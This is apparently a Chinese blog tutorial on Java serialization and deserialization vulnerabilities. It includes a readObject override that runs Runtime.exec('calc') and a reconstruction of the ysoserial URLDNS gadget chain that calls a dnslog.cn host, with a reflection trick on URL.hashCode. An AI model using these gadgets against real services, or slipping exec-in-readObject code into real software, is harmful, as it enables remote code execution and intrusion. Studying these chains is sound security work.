java反序列化基础

序列化与反序列化

1、概述

序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

2、什么是序列化和反序列化

​ Java序列化就是指把Java对象转换为字节序列的过程

​ Java反序列化就是指把字节序列恢复为Java对象的过程。

序列化:对象 -> 字符串
反序列化:字符串 -> 对象

3、序列化与反序列化代码实现

反序列化类UnserializeTest.java

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}

Persion.java

在这个类文件中简单写了几个函数方法,来作为序列化和反序列化的基础文件,但要再开头继承一个Serializable接口,只有继承这个接口的类才可以反序列化

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {

    private String name;
    private int age;

    public Person(){

    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

SerializationTest.java

在这个序列化文件中,先封装了一个unserialize函数,在这个函数中用FileOutputStreamObjectInputStream将文件以二进制流的方式输出到ser.bin再用oos.writeObject来进行序列化

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
//        System.out.println(person);
        serialize(person);
    }
}

UnserializeTest.java

这个java文件基本和上一个相反,封装了一个unserialize函数,用FileInputStreamObjectInputStream读取ser.bin中的内容,之后用ois.readObject()来进行反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}

过程

先运行SerializationTest.java

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8OfwYWQC-1677032557439)(java反序列化基础.assets/image-20230220235300526.png)]

左边生成ser.bin后再进行UnserializeTest.java

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7IEoaorG-1677032557441)(java反序列化基础.assets/image-20230220235348496.png)]

序列化与反序列化的安全问题

1、引子

在序列化和反序列化中很重要的两个方法writeObjectreadObject,这两个方法可以经过开发者的重写,一般开发者们会根据自己的需求来进行重写,然而只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,基于攻击者在服务器上运行代码的能力。

所以从根本上来说,Java 反序列化的漏洞的与readObject有关。

2、可能存在漏洞的形式

刚刚说在反序列化的时候readObject中代码会自动执行,如果readObject插入命令执行的代码,也就执行,就产生了安全漏洞

例如我们将刚刚的Person.java修改成一下代码

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {

    private String name;
    private int age;

    public Person(){

    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
}

多了一串我们重写的readObject中的东西,在这个方法里我们放了一个命令执行的exec函数,可以打开计算器,执行一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4IrpiStk-1677032557442)(java反序列化基础.assets/image-20230221000649988.png)]

和我们想象的一样弹出了计算器,这就是反序列化引出的安全漏洞

3、条件

共同条件继承Serializable
入口类source(重写readObject参数类型宽泛最好jdk自带)调用链gadget chain
执行类sink(rce ssf 写文件等等)

4、HashMap

HashMap: java 中的一种容器,用来存储内容,内容以键值对的形式存放。

跟进hashmap中看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dnq4RT1a-1677032557442)(java反序列化基础.assets/image-20230221210733448.png)]

重写了一个readObject

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RY1ZT6Fl-1677032557443)(java反序列化基础.assets/image-20230221210825710.png)]

可以看到作用是获取了keyvalue两个值,并且调用了hash函数,继续跟进hash函数看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BKkn0RKy-1677032557443)(java反序列化基础.assets/image-20230221211011745.png)]

判断了key是否为空或0,如果不是就会调用hashCode(),怎么判断的key一定有hsahcode呢,看一下hashObject

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KJX5F6mP-1677032557444)(java反序列化基础.assets/image-20230221211306905.png)]

可以看到这个Object中本身就有这三个,如果这三个类中有危险函数而且可以反序列化的话就可能会有反序列化漏洞了

5、URLDNS链

原理

URLDNS链也是利用的HashMap存在的漏洞

java.util.HashMap 实现了 Serializable 接口,重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode. 而 java.net.URLhashCode 在计算时会调用 getHostAddress 来解析域名,从而发出 DNS 请求。

我们从 ysoserial 项目 src/main/java/ysoserial/payloads/URLDNS.java 的注释中可以看到 URLDNS 的调用链(Gadget Chain):

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

调用了参数 key 的 hashCode 函数,而我们从 src/main/java/ysoserial/payloads/URLDNS.java 中可以得知这个 key 就是一个 URL 对象。

跟进一下URL

它继承了这个序列化接口是我们找序列化漏洞必须的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-85E4ImCi-1677032557444)(java反序列化基础.assets/image-20230221220528387.png)]

再找我们需要的类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O2DhDRHC-1677032557445)(java反序列化基础.assets/image-20230221220606447.png)]

这里有一个hashCode调用了hashCode函数继续跟进

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cqTbB2Ss-1677032557445)(java反序列化基础.assets/image-20230221220710918.png)]

有一个getHostAddress,根据名字是一个根据域名获取地址,会做一个域名解析的工作,也就是说我们如果调用了URL类中的hashCode函数,那我们就会获取一个地址,就可以验证是否存在漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rvmkrx7J-1677032557446)(java反序列化基础.assets/image-20230221221444856.png)]

再根据我们上面分析的HashMap中的readObject函数中调用hashCode,如果keyURL的话就会调用URL中的hashCode,而且readObject在序列化中会自动触发,所以序列化时会串起来,造成反序列化漏洞。

构造利用链

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
//        Person person = new Person("aa",22);
//        System.out.println(person);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        hashmap.put(new URL("http://wpv3x5.dnslog.cn"),1);

        serialize(hashmap);
    }
}

理论上应该在序列化时,接受到请求,但在序列化会就接受到了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vWKx2FC7-1677032557446)(java反序列化基础.assets/image-20230221223128691.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7jhYQGTt-1677032557447)(java反序列化基础.assets/image-20230221223115049.png)]

分析一下原因,跟进一下put,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xWGW47XN-1677032557447)(java反序列化基础.assets/image-20230221223635671.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cn9SkUEA-1677032557448)(java反序列化基础.assets/image-20230221223654240.png)]

在序列化的时候就已经调用了put中的hash进而调用了hashCode

方法的话

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TBpTKs8P-1677032557448)(java反序列化基础.assets/image-20230221224819926.png)]

可以看到这里,如果吧请求后的hashCode改为-1,就可直接放回hashCode就可以避免这个问题了,利用反射的方法来改为-1

import jdk.nashorn.internal.objects.NativeDebug;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
//        Person person = new Person("aa",22);
//        System.out.println(person);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//        hashmap.put(new URL("http://lswgcx.dnslog.cn"),1);
        URL url = new URL("");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,12);
        hashmap.put(url,1);
        //改回-1
        hashcodefield.set(url,-1);
        serialize(hashmap);
    }
}

这样执行之后,并没有回显,再进行反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.HashMap;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        unserialize("ser.bin");
    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jkPGfHBe-1677032557448)(java反序列化基础.assets/image-20230222000524131.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1pGtpE5o-1677032557449)(java反序列化基础.assets/image-20230222000505212.png)]
就成功回显了

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,常用于前后端数据传输。在Python中,我们可以使用`json`模块来进行JSON数据的序列化和反序列化。 #### JSON序列化 将Python对象转换成JSON格式的字符串,可以使用`json.dumps()`函数。例如,将一个字典对象转换成JSON字符串: ```python import json data = {"name": "Tom", "age": 18, "is_student": True} json_str = json.dumps(data) print(json_str) ``` 输出结果为: ``` {"name": "Tom", "age": 18, "is_student": true} ``` #### JSON反序列化 将JSON格式的字符串转换成Python对象,可以使用`json.loads()`函数。例如,将一个JSON字符串转换成字典对象: ```python import json json_str = '{"name": "Tom", "age": 18, "is_student": true}' data = json.loads(json_str) print(data) ``` 输出结果为: ``` {'name': 'Tom', 'age': 18, 'is_student': True} ``` #### JSON文件的读写 我们也可以使用`json.dump()`和`json.load()`函数来对JSON文件进行读写操作。 将Python对象写入JSON文件: ```python import json data = {"name": "Tom", "age": 18, "is_student": True} with open("data.json", "w") as f: json.dump(data, f) ``` 从JSON文件中读取Python对象: ```python import json with open("data.json", "r") as f: data = json.load(f) print(data) ``` 以上就是JSON序列化和反序列化基础用法。需要注意的是,JSON格式的字符串必须使用双引号,而不能使用单引号。 ### 回答2: JSON序列化指将数据结构或对象转化为JSON字符串的过程。在序列化过程中,Python的数据结构或对象将转化为符合JSON规范的字符串形式,以便于传输、存储或与其他编程语言进行数据交互。 JSON反序列化则是将JSON字符串转化为Python的数据结构或对象的过程。通过反序列化,我们可以将JSON格式的数据重新转化为Python中对应的数据类型,以便于在程序中操作和处理这些数据。 在Python中,我们可以使用内置的json模块来实现JSON序列化和反序列化。该模块提供了一些方法,如dumps()用于将Python对象转化为JSON字符串,loads()用于将JSON字符串转化为Python对象。 在进行JSON序列化时,我们可以通过指定参数来控制序列化的方式。例如,可以使用indent参数来指定缩进的空格数,使得生成的JSON字符串更易读;可以使用separators参数来指定各个部分之间的分隔符;可以使用default参数来指定一个函数,用于将非序列化类型的数据进行处理。 在进行JSON反序列化时,我们可以使用load()方法来从文件中读取JSON字符串,并将其转化为Python对象。同样地,我们也可以使用loads()方法从字符串中读取JSON字符串,并将其转化为Python对象。 总之,JSON序列化和反序列化在数据交互和存储中起着重要的作用,通过将数据转化为JSON字符串,我们可以轻松地在不同的平台和编程语言之间互相传递数据。而通过JSON反序列化,我们可以将接收到的JSON字符串重新转化为可操作的数据类型,进而进行后续的数据处理。 ### 回答3: JSON序列化是将数据对象转换为JSON格式的字符串的过程。在序列化过程中,数据对象的属性和值会按照固定的规则(如键值对)转换为字符串中的属性和值。JSON序列化通常用于将对象发送给网络或保存到磁盘等操作。 JSON反序列化是将JSON格式的字符串转换为对应的数据对象的过程。在反序列化过程中,字符串中的属性和值会被解析为数据对象的属性和值,从而还原对象的状态。 JSON序列化和反序列化在许多场景中广泛应用。首先,它们可用于数据的持久化,将数据对象保存到磁盘或数据库中。其次,它们可用于网络通信,将数据对象作为JSON字符串发送给服务器或其他客户端进行处理。此外,JSON序列化和反序列化还可以用于在不同的编程语言之间交换数据,因为JSON是一种通用的数据交换格式。 在实际应用中,通常使用JSON序列化库来实现序列化和反序列化的过程。这些库提供了一组API,可以方便地将数据对象转换为JSON字符串或将JSON字符串转换为数据对象。常见的JSON序列化库包括Java中的Jackson和Gson,Python中的json模块以及C#中的Newtonsoft.Json等。 总之,JSON序列化和反序列化是一种将数据对象转换为JSON格式的字符串和将JSON字符串转换为数据对象的过程,通过这种方式可以方便地进行数据持久化、网络通信和跨语言数据交换。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值